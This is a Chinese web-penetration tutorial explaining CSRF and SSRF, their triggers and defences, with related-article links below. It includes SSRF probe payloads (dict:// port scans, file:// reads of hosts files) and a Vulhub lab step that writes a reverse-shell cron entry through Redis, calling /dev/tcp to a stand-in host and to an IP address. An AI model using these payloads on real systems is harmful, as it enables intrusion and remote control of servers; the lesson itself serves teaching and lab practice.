Web渗透10_CSRF SSRF
1 CSRF漏洞
CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
CSRF是一种欺骗受害者在身份验证后的web提交非本意的请求的一种攻击手段。继承了受害者的身份和特权,代表受害者执行非本意的操作。
攻击者通过对目标网站的熟悉,构造恶意操作链接。因为网站上的各种操作归根结底就是一些URL链接,将链接提交给目标网站服务器,服务器验证身份后对此做出反应,一个操作就完成了。这些链接影响到用户的所有操作。 通过对恶意操作链接的伪装,诱使目标网站用户点击,而浏览器就会自动连同你的身份信息和恶意操作链接发送给目标服务器,来执行恶意攻击。
浏览器的请求会自动发送与目标站点关联的所有凭据。例如用户cookie,IP地址,windows域凭证等等信息,因此如果用户在某个站点A已经进行了身份验证,类似打开网站不用登录。而恰巧又在其他站点B点击了与网站A相关的恶意操作链接,那么结果很有可能造成很大的损失,尤其是当用户的网站身份是网站管理元时。
所以不要点击不明链接!!!
有时候可以将CSRF攻击存储在易受攻击的网站A上。造成 存储的CSRF攻击。存储为带有而已操作链接的img iframe等html 标记,或者通过结合XSS漏洞来攻击。因为就在A站点上等待用户上钩,比在其他站点等待更有效。
CSRF触发
<A>标签
<a href="恶意攻击操作链接">美女图片</a>
重点来了! 美女图片,美色诱惑是无敌的。这个土方法在视频网站已经是圣经一般的操作,能带来大量的点击量,从而得到视频点击数的收益。
<img src="">
<img src="恶意攻击操作链接">
利用图片的地址去发送请求。
一般请求有 GET 还有 POST 发送的。相对来说GET请求比较隐蔽,而POST一般用于表单可能会有某些表单信息,不过这些表单信息是可以隐藏的,表单的提交执行链接恶意攻击操作链接也可以利用JS代码进行立即执行不需要点击的。
CSRF防御
无效防御
秘密cookie
秘密cookie也会随着操作被提交到服务器。这个是无效的。
仅接受POST数据
前面已经演示过这个方法不可靠,攻击也有可能通过POST来提交。
多步操作
这个有一些用,但是攻击者也会上那个网站。清楚具体的流程来构造攻击的URL链接序列。
URL重写
防的住一时防,不住一世。
https
https仅是加密的传输,与http无异。 无用
有效防御
referer 验证
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
在通常情况下,访问一个安全受限页面的请求必须来自同一个网站页面。
正确的Referer是网站真实操作的页面的URL,而伪造的攻击URL不可能是原来的URL。造成有效防御。
token验证
在操作链接上附加上随机的参数,所以链接也是动态的。在服务器上增加一个拦截器验证Token,若没有或者不匹配则认为是CSRF攻击进行拦截。
二次验证
操作要求输入验证码,输入密码。这样进行恶意操作就会有验证信息弹出,不会执行。用户也可以知晓遭到攻击。
2 SSRF
服务器端请求伪造SSRF(Server Side Request Forgery) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据(百度识图)的功能,但又没有对目标地址做严格过滤与限制。
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
由于提供此种功能的服务器内网的IP地址也可以被服务器请求, 而且是通过漏洞服务器以内网的身份访问,通过这个漏洞可以探测服务器内网环境。
危害
- 服务器端口扫描
- 内网Web(配置信息)指纹识别
- 攻击内网
- 读取服务器本地文件。
相关代码函数
从其他服务器应用获取数据需要脚本文件的函数支持
常见的PHP函数。
file_get_contents()
fsockopen()
curl_exec()
常见利用
访问正常文件
提交参数?url=https://www.baidu.com/robots.txt,可以访问百度的爬虫允许爬取列表。
端口扫瞄
提交参数,若端口开放,则有回显。不开放则会有报错。
?url=dict://127.0.0.1:22
?url=dict://127.0.0.1:3306
?url=dict://127.0.0.1:21
读取系统本地文件
?url=file://c:\windows\system32\drivers\etc\hosts
内网WEB指纹识别
识别web使用的框架,平台,插件,CMS。对后期的渗透也是有帮助的。
一些组件具有特别的文件目录结构,可以去尝试。
?url=httpc://localhost/phpmydamin/README
攻击内网应用
内网的安全防护一般没有对于外部防御那么坚固,各种漏洞是广泛存在的。SSRF对内网的访问,可以延伸到对内网机器的访问,有时可以发起对内网机器的攻击,获得webshell。
仅通过GET的方法就能利用SSRF来攻击一些web应用,例如Struts2的命令执行。
SSRF漏洞挖掘

SSRF漏洞防御
- 限制协议: 限制仅允许 http https
- 限制IP: 限制不可访问IP黑名单
- 限制访问端口: 仅访问的端口是正常端口才允许。 80
- 过滤返回信息: 对返回的信息进行过滤
SSRF 漏洞实战
Vulhub SSRF 漏洞 https://vulhub.org/#/environments/weblogic/ssrf/
反弹shell
/etc/crontab是linux的计划任务文件。通过Redis的读写文件权限,在/etc/crontab里写下反弹shell的代码,接受shell的攻击主机开启端口监听,获得由受害服务器反弹的shell权限。
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/21.86.94.21/888 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
# 指定接受shell的IP地址 和端口
# 21.86.94.21:888
开启监听的LINUX命令
ncat-lvvp 777
Web渗透10_CSRF SSRF的更多相关文章
- 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗
1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...
- 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细
常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...
- web渗透学习目录
一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[S ...
- Kali Linux 秘籍/Web渗透秘籍/无线渗透入门
Kali Linux 秘籍 原书:Kali Linux Cookbook 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 目录: 第一章 安装和启动Kali ...
- 反向代理在Web渗透测试中的运用
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
- Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码
Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...
- KALI LINUX WEB 渗透测试视频教程—第16课 BEEF基本使用
Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用............... ...
- Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...
随机推荐
- 花店橱窗(线性DP)
线性DP--花店橱窗 谨以此题解献给线性dp最后一道题 题目大致 Description xq和他的老婆xz最近开了一家花店,他们准备把店里最好看的花都摆在橱窗里.但是他们有很多花瓶,每个花瓶都具有各 ...
- 【全】CSS动画大全之按钮【c】
效果预览 代码 <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> < ...
- 牛客周赛 Round 8
牛客周赛 Round 8 A-小美的排列询问_牛客周赛 Round 8 (nowcoder.com) 枚举即可 #include<bits/stdc++.h> using i64 = lo ...
- AtCoder Beginner Contest 314
AtCoder Beginner Contest 314 - AtCoder A - 3.14 (atcoder.jp) 题目提供了100位,所以直接用字符串输出 #include <bits/ ...
- [原创] 域格CLM920模组使用pppd专网拨号
域格CLM920模组使用pppd专网拨号 参考资料 参照<9X07 模块LINUX集成用户手册版本_V1.60>的第四章节使用pppd拨号上网 编写chat脚本chat-script 要点 ...
- Win32 创建窗口翻车记录
今天创建窗口的时候,在捕获消息WM_CREATE的时候翻车了,找了好久都没找到,我换另一台电脑上又没出问题, 现分享下:LRESULT QWnd::WindowProc(HWND hWnd, UINT ...
- CMake构建学习笔记6-giflib库的构建
前面构建的zlib.libpng.libjpeg和libtiff都提供了CMakeList.txt文件,因此都可以通过CMake进行构建.不过有的依赖库是并没有CMakeList.txt文件,也就是官 ...
- 守护您的数字资产:API安全的最佳实践
在数字化时代,API(应用程序编程接口)已成为企业与用户.服务与服务之间沟通的桥梁.然而,随着API的广泛应用,安全问题也日益凸显.本文将探讨API安全的重要性,并提供一些实用的安全措施,帮助您保 ...
- 增删demo中,React开发中,Vue思维导致的踩坑
.push等操作,无法监听数据的更新,必须使用setState() state最好写在构造函数中,这是个好习惯 不要什么状态的获取都放在didmount,构造函数里面获取状态也是一个不错的选择
- Linux 主流图形显示系统
在 Linux 系统中,主流的图形显示系统主要有以下几种: X Window System (X11) 简介 X Window System,通常简称为 X 或 X11,是历史最悠久.最广泛使用的图形 ...